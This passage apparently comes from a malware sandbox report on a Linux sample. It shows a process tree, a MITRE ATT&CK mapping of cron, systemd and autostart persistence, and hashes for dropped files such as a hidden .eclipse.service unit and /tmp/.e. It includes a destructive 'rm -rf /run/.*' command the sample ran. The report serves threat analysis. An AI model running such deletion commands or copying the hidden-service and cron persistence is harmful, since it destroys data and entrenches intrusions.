  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1775
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1776

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.eclipse.service

Path /etc/systemd/system/.eclipse.service
Size 175B
SHA256 4f14b722591577aac6a2f7c7181d780cf468d13aae57e629b434b54fa8e54a51
MD5 ce8d2cd64f9c282d532a26c2e37f74f0
SHA1 fc34fe022e716204b46e274e3a4fc1c6993019d0
SHA512 7f5331b0a0534ac756b5ba0e2d5b7931e4d8db9af14a50ad2ccca2bc879ccb69ebab759c3fc4f965f37135265e958c2d0a9935bbd7329641600818779e36c94e
TLSH
T1AFC0C033270120E1CC4F35F19F637B000C100140018EF0300BD0102848F36429032DB9
MD5 SHA1 SHA512 TLSH

Submit Download

Path /tmp/.e
Size 2.7MB
SHA256 ce6ab6035f67e3df3243a528d6ad565ce5c83e4d27c8bc52f1580484c1b5c334
MD5 cb8e1dee5bacf3727d491e670d392bf1
SHA1 a6c7b01ca27a7e2fe94a57bf4c5ac0ae1b70d60f
SHA512 c4217eff6d811ecfdd96d1a1a40f462d36d87b3e3bf87b671787896e3ae0b3be12c1f0284df300933f673ca049314f60930cfca25055b35e866f2a17b56c811c
SSDEEP 49152:A+h7HvfCKpWoYC1RAnEYShPx7IesRAIRi8TfGB4ZJiqRilAwi0Z8PYIq6od:A+l3j4UkEpxWAIR3lZUqkZ4x
TLSH
T1FED56C57F2E324BCC197C430835BD663A936B4A512217D7F65C4EE302E66E706B2DB22
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmp.txxDk2

Path /var/spool/cron/crontabs/tmp.txxDk2
Size 175B
SHA256 63c4b827e3ee12f27e657c376f2c4a8a467b6e3212fa8cca9a8e9c2d91b89ba2
MD5 d1ced7ea983b49d9eaac879fc5ed96b4
SHA1 96d4453676899f4a8e55c46717c0e26b5636a904
SHA512 f7e87147d8f50ac02c448fc367a2d039c42f588f98fc7a553c59ac3e46c65f59be7138e619d55192ed8304dc5e4bed8775b515304c21ec706522d0b4a497aaf2
TLSH
T138C0C01C3F0025302E000785206A04195C41D07CC00DEF10D0CC0408030264D3B40532
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads